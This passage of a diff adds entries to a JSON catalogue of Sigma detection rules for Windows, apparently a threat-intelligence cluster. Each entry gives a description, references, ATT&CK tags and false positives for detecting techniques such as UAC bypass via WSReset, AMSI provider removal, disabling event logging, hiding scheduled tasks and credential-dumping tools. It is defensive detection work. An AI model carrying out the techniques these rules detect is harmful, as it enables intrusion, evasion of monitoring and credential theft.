"Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.", + "uuid": "75f7a0e2-7154-4c4d-9eae-5cdb4e0a5c13", + "value": "Write Protect For Storage Disabled", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_write_protect_for_storage_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2021/06/11", + "filename": "proc_creation_win_write_protect_for_storage_disabled.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the presence of the keywords \"Wscript\", \"Shell\" and \"Run\" in the command, which could indicate a suspicious activity", + "uuid": "2c28c248-7f50-417a-9186-a85b223010ee", + "value": "Wscript Shell Run In CommandLine", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_shell_cli.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/08/31", + "filename": "proc_creation_win_wscript_shell_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate inline scripting by some administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument which is not longer supported. This could indicate an attacker using an old technique", + "uuid": "59b39960-5f9d-4a49-9cef-1e4d2c1d0cb9", + "value": "Wusa Extracting Cab Files", + "meta": { + "refs": [ + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cab_extraction.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/04", + "filename": "proc_creation_win_wusa_susp_cab_extraction.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "The \"extract\" flag still works on older 'wusa.exe' versions, which could be a legitimate use (monitor the path of the cab being extracted)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument from suspicious paths", + "uuid": "c74c0390-3e20-41fd-a69a-128f0275a5ea", + "value": "Wusa Extracting Cab Files From Suspicious Paths", + "meta": { + "refs": [ + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://www.echotrail.io/insights/search/wusa.exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/05", + "filename": "proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of XORDump process memory dumping utility", + "uuid": "66e563f9-1cbd-4a22-a957-d8b7c0f44372", + "value": "XORDump Use", + "meta": { + "refs": [ + "https://github.com/audibleblink/xordump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xordump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/01/28", + "filename": "proc_creation_win_xordump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Another tool that uses the command line switches of XORdump" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. Rule detects when adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.", + "uuid": "05c36dd6-79d6-4a9a-97da-3db20298ab2d", + "value": "XSL Script Processing", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xsl_script_processing.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1220" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_xsl_script_processing.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.", + "Msxsl.exe is not installed by default, so unlikely.", + "Static format arguments - https://petri.com/command-line-wmi-part-3" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Raw disk access using illegitimate tools, possible defence evasion", + "uuid": "db809f10-56ce-4420-8c86-d6a7d793c79c", + "value": "Raw Disk Access Using Illegitimate Tools", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/raw_access_thread/raw_access_thread_disk_access_using_illegitimate_tools.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1006" + ], + "creation_date": "2019/10/22", + "filename": "raw_access_thread_disk_access_using_illegitimate_tools.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate Administrator using tool for raw access or ongoing forensic investigation" + ], + "logsource.category": "raw_access_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker registers a new AMSI provider in order to achieve persistence", + "uuid": "33efc23c-6ea2-4503-8cfe-bdf82ce8f705", + "value": "Persistence Via New AMSI Providers", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/amsi.html", + "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_amsi_providers_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_add_amsi_providers_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate security products adding their own AMSI providers" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of UserInitMprLogonScript persistence method", + "uuid": "9ace0707-b560-49b8-b6ca-5148b42f39fb", + "value": "Logon Scripts Creation in UserInitMprLogonScript Registry", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1037/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_logon_scripts_userinitmprlogonscript_reg.yml" + ], + "tags": [ + "attack.t1037.001", + "attack.persistence", + "attack.lateral_movement" + ], + "creation_date": "2019/01/12", + "filename": "registry_add_logon_scripts_userinitmprlogonscript_reg.yml", + "author": "Tom Ueltschi (@c_APT_ure)", + "level": "high", + "falsepositive": [ + "Exclude legitimate logon scripts" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to detect registry events for common NetWire key HKCU\\Software\\NetWire", + "uuid": "1d218616-71b0-4c40-855b-9dbe75510f7f", + "value": "NetWire RAT Registry Key", + "meta": { + "refs": [ + "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", + "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", + "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", + "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_netwire.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2021/10/07", + "filename": "registry_add_mal_netwire.yml", + "author": "Christopher Peacock", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects new registry key created by Ursnif malware.", + "uuid": "21f17060-b282-4249-ade0-589ea3591558", + "value": "Ursnif", + "meta": { + "refs": [ + "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_ursnif.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112" + ], + "creation_date": "2019/02/13", + "filename": "registry_add_mal_ursnif.yml", + "author": "megan201296", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects COM object hijacking via TreatAs subkey", + "uuid": "9b0f8a61-91b2-464f-aceb-0527e0a45020", + "value": "Windows Registry Persistence COM Key Linking", + "meta": { + "refs": [ + "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_key_linking.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2019/10/23", + "filename": "registry_add_persistence_key_linking.yml", + "author": "Kutepov Anton, oscd.community", + "level": "medium", + "falsepositive": [ + "Maybe some system utilities in rare cases use linking keys for backward compatibility" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects the of the \"accepteula\" key related to sysinternals tools being created from non sysinternals tools", + "uuid": "f50f3c09-557d-492d-81db-9064a8d4e211", + "value": "Usage of Renamed Sysinternals Tools", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_renamed_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2022/08/24", + "filename": "registry_add_renamed_sysinternals_eula_accepted.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of Suspicious Sysinternals Tools such as PsExec, Procdump...etc via the \"accepteula\" key being added to Registry", + "uuid": "c7da8edc-49ae-45a2-9e61-9fd860e4e73d", + "value": "Usage of Suspicious Sysinternals Tools", + "meta": { + "refs": [ + "https://twitter.com/Moti_B/status/1008587936735035392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_susp_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2022/08/24", + "filename": "registry_add_susp_sysinternals_eula_accepted.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of SysInternals tools" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of Sysinternals Tools due to accepteula key being added to Registry", + "uuid": "25ffa65d-76d8-4da5-a832-3f2b0136e133", + "value": "Usage of Sysinternals Tools", + "meta": { + "refs": [ + "https://twitter.com/Moti_B/status/1008587936735035392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2017/08/28", + "filename": "registry_add_sysinternals_eula_accepted.yml", + "author": "Markus Neis", + "level": "low", + "falsepositive": [ + "Legitimate use of SysInternals tools", + "Programs that use the same Registry Key" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "A General detection to trigger for the creation or modification of .*\\Software\\Sysinternals\\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.", + "uuid": "9841b233-8df8-4ad7-9133-b0b4402a9014", + "value": "Sysinternals SDelete Registry Keys", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/9", + "https://threathunterplaybook.com/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_sdelete_registry_keys.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2020/05/02", + "filename": "registry_add_sysinternals_sdelete_registry_keys.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence.\nThe disk cleanup manager is part of the operating system. It displays the dialog box [\u2026]\nThe user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", + "uuid": "d4f4e0be-cf12-439f-9e25-4e2cdcf7df5a", + "value": "Persistence Via Disk Cleanup Handler - NewEntry", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/diskcleanuphandler.html", + "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_set_disk_cleanup_handler_new_entry_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_disk_cleanup_handler_new_entry_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate new entry added by windows" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects the removal of folders from the \"ProtectedFolders\" list of of exploit guard. Which could indicate an attacker trying to launch an encryption process", + "uuid": "272e55a4-9e6b-4211-acb6-78f51f0b1b40", + "value": "Removal Of Folder From ProtectedFolders In Exploit Guard", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/05", + "filename": "registry_delete_exploit_guard_protected_folders.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate administrators removing applications (should always be monitored)" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deletion of registry keys containing the MSTSC connection history", + "uuid": "07bdd2f5-9c58-4f38-aec8-e101bb79ef8d", + "value": "Terminal Server Client Connection History Cleared", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer", + "http://woshub.com/how-to-clear-rdp-connections-history/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1112" + ], + "creation_date": "2021/10/19", + "filename": "registry_delete_mstsc_history_cleared.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection", + "uuid": "41d1058a-aea7-4952-9293-29eaaf516465", + "value": "Removal Of Amsi Provider Reg Key", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://seclists.org/fulldisclosure/2020/Mar/45", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/06/07", + "filename": "registry_delete_removal_amsi_registry_key.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "A General detection to trigger for processes removing .*\\shell\\open\\command registry keys. Registry keys that might have been used for COM hijacking activities.", + "uuid": "96f697b0-b499-4e5d-9908-a67bec11cdb6", + "value": "Removal of Potential COM Hijacking Registry Keys", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/7", + "https://threathunterplaybook.com/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.html", + "https://docs.microsoft.com/en-us/windows/win32/shell/launch", + "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", + "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/05/02", + "filename": "registry_delete_removal_com_hijacking_registry_key.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitimate software (un)installations are known to cause some false positives. Please add them as a filter when encountered" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the \"index\" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as \"schtasks /query\"", + "uuid": "526cc8bc-1cdc-48ad-8b26-f19bff969cec", + "value": "Removal Of Index Value to Hide Schedule Task", + "meta": { + "refs": [ + "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_index_value_scheduled_task_hide.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/08/26", + "filename": "registry_delete_removal_index_value_scheduled_task_hide.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Remove SD (Security Descriptor) value in \\Schedule\\TaskCache\\Tree registry hive to hide schedule task. This technique is used by Tarrask malware", + "uuid": "acd74772-5f88-45c7-956b-6a7b36c294d2", + "value": "Removal Of SD Value to Hide Schedule Task", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_sd_value_scheduled_task_hide.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/04/15", + "filename": "registry_delete_removal_sd_value_scheduled_task_hide.yml", + "author": "Sittikorn S", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Sysmon registry detection of a local hidden user account.", + "uuid": "460479f3-80b7-42da-9c43-2cc1d54dbccd", + "value": "Creation of a Local Hidden User Account by Registry", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1387530414185664538", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2021/05/03", + "filename": "registry_event_add_local_hidden_user.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "uuid": "7bdf2a7c-3acc-4091-9581-0a77dad1c5b5", + "value": "Chafer Activity", + "meta": { + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_chafer_mar18.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/03/23", + "filename": "registry_event_apt_chafer_mar18.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry key used by Leviathan APT in Malaysian focused campaign", + "uuid": "70d43542-cd2d-483c-8f30-f16b436fd7db", + "value": "Leviathan Registry Key Activity", + "meta": { + "refs": [ + "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_leviathan.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2020/07/07", + "filename": "registry_event_apt_leviathan.yml", + "author": "Aidan Bracher", + "level": "critical", + "falsepositive": "No established falsepositives", + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry keys created in OceanLotus (also known as APT32) attacks", + "uuid": "4ac5fc44-a601-4c06-955b-309df8c4e9d4", + "value": "OceanLotus Registry Activity", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", + "https://github.com/eset/malware-ioc/tree/master/oceanlotus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2019/04/14", + "filename": "registry_event_apt_oceanlotus_registry.yml", + "author": "megan201296, Jonhnathan Ribeiro", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Pandemic Windows Implant", + "uuid": "47e0852a-cf81-4494-a8e6-31864f8c86ed", + "value": "Pandemic Registry Key", + "meta": { + "refs": [ + "https://wikileaks.org/vault7/#Pandemic", + "https://twitter.com/MalwareJake/status/870349480356454401", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_pandemic.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1105" + ], + "creation_date": "2017/06/01", + "filename": "registry_event_apt_pandemic.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Unfixed method for UAC bypass from windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.", + "uuid": "6ea3bf32-9680-422d-9f50-e90716b12a66", + "value": "UAC Bypass Via Wsreset", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly", + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/10/07", + "filename": "registry_event_bypass_via_wsreset.yml", + "author": "oscd.community, Dmitry Uchakin", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", + "uuid": "b6d235fc-1d38-4b12-adbe-325f06728f37", + "value": "CMSTP Execution Registry Event", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.003", + "attack.g0069", + "car.2019-04-001" + ], + "creation_date": "2018/07/16", + "filename": "registry_event_cmstp_execution_by_registry.yml", + "author": "Nik Seetharaman", + "level": "high", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.", + "uuid": "919f2ef0-be2d-4a7a-b635-eb2b41fde044", + "value": "Disable Security Events Logging Adding Reg Key MiniNt", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1182516740955226112", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1112" + ], + "creation_date": "2019/10/25", + "filename": "registry_event_disable_security_events_logging_adding_reg_key_minint.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential malicious modification of the property value of IsCredGuardEnabled from\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system.\nThis is usually used with UseLogonCredential to manipulate the caching credentials.\n", + "uuid": "1a2d6c47-75b0-45bd-b133-2c0be75349fd", + "value": "Wdigest CredGuard Registry Modification", + "meta": { + "refs": [ + "https://teamhydra.blog/2020/08/25/bypassing-credential-guard/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2019/08/25", + "filename": "registry_event_disable_wdigest_credential_guard.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured.", + "uuid": "5aad0995-46ab-41bd-a9ff-724f41114971", + "value": "Esentutl Volume Shadow Copy Service Keys", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2020/10/20", + "filename": "registry_event_esentutl_volume_shadow_copy_service_keys.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Windows Credential Editor (WCE)", + "uuid": "a6b33c02-8305-488f-8585-03cb2a7763f2", + "value": "Windows Credential Editor Registry", + "meta": { + "refs": [ + "https://www.ampliasecurity.com/research/windows-credentials-editor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0005" + ], + "creation_date": "2019/12/31", + "filename": "registry_event_hack_wce_reg.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.", + "uuid": "ac8866c7-ce44-46fd-8c17-b24acff96ca8", + "value": "HybridConnectionManager Service Installation", + "meta": { + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1608" + ], + "creation_date": "2021/04/12", + "filename": "registry_event_hybridconnectionmgr_svc_installation.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the presence of a registry key created during Azorult execution", + "uuid": "f7f9ab88-7557-4a69-b30e-0a8f91b3a0e7", + "value": "Registry Entries For Azorult Malware", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a", + 